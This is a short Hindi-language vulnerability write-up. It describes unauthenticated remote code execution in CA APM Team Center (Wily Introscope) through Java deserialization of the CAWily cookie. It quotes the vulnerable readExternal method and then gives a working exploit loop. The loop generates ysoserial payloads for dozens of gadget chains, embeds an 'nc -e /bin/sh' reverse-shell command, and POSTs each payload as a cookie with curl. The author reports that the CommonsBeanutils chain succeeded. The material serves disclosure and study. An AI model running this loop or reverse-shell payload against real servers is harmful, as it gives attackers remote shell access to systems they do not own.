
CA APM Team Center (Wily Introscope) में दूरस्थ कोड निष्पादन
CA APM Team Center (Wily Introscope) में दूरस्थ कोड निष्पादन।
CA APM Team Center में एक डिसीरियलाइज़ेशन भेद्यता सर्वर पर अप्रमाणित दूरस्थ कोड निष्पादन की ओर ले जाती है।
सर्वर पर प्रमाणीकरण करते समय एक कुकी लौटाई जाती है जो कुख्यात rO0 स्ट्रिंग से शुरू होती है जो बेस64-एन्कोडेड क्रमांकित ऑब्जेक्ट को इंगित करती है:

हालाँकि मैंने समस्या को स्थिर रूप से पूरी तरह से ट्रेस नहीं किया है, यह संभवतः असुरक्षित कोड है:
public class HttpRequestHeaderInfo implements Externalizable {
public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
in.readInt();
int numMapEntries = in.readInt();
this.fRequestParameterMap = (numMapEntries == 0) ? Collections.EMPTY_MAP : new HashMap(numMapEntries);
for (int i = 0; i < numMapEntries; i++) {
this.fRequestParameterMap.put(in.readUTF(), in.readObject());
}
int numCookies = in.readInt();
this.fCookies = (numCookies == 0) ? kNoCookies : new Cookie[numCookies];
for (int j = 0; j < this.fCookies.length; j++) {
this.fCookies[j] = new Cookie((String)in.readObject(), (String)in.readObject());
}
}
}
ध्यान दें कि पैरामीटर मैप और कुकी को उपयोगकर्ता इनपुट से readObject() का उपयोग करके डिसीरियलाइज़ किया जाता है।
यह एक फॉर लूप में उपयुक्त गैजेट की पहचान करके सरलता से शोषण किया जाता है:
for gadget in AspectJWeaver BeanShell1 C3P0 Click1 Clojure CommonsBeanutils1 CommonsCollections1 CommonsCollections2 CommonsCollections3 CommonsCollections4 CommonsCollections5 CommonsCollections6 CommonsCollections7 FileUpload1 Groovy1 Hibernate1 Hibernate2 JBossInterceptors1 JRMPClient JRMPListener JSON1 JavassistWeld1 Jdk7u21 Jython1 MozillaRhino1 MozillaRhino2 Myfaces1 Myfaces2 ROME Spring1 Spring2 URLDNS Vaadin1 Wicket1
do
java -jar ./ysoserial-0.0.6-SNAPSHOT-all.jar $gadget "nc -e /bin/sh ..." | base64 -w0 > cookie
payload=$(cat cookie)
curl -s -k 'https://remoteserver/' -X POST -H "Cookie: CAWily=$payload"
done
मेरे लिए रिमोट कोड एग्जीक्यूशन उत्पन्न करने वाला एकमात्र पेलोड CommonsBeanutils था। एम्बेडेड JAR org.apache.commons_beanutils_1.9.2.1.jar है और मेवेन रिपॉजिटरी के अनुसार इसमें वास्तव में एक असुरक्षित गैजेट शामिल है।
एक विशेष व्यक्ति को अनिवार्य धन्यवाद जिसने मुझे हेडर की दोबारा जांच करने के लिए कहा।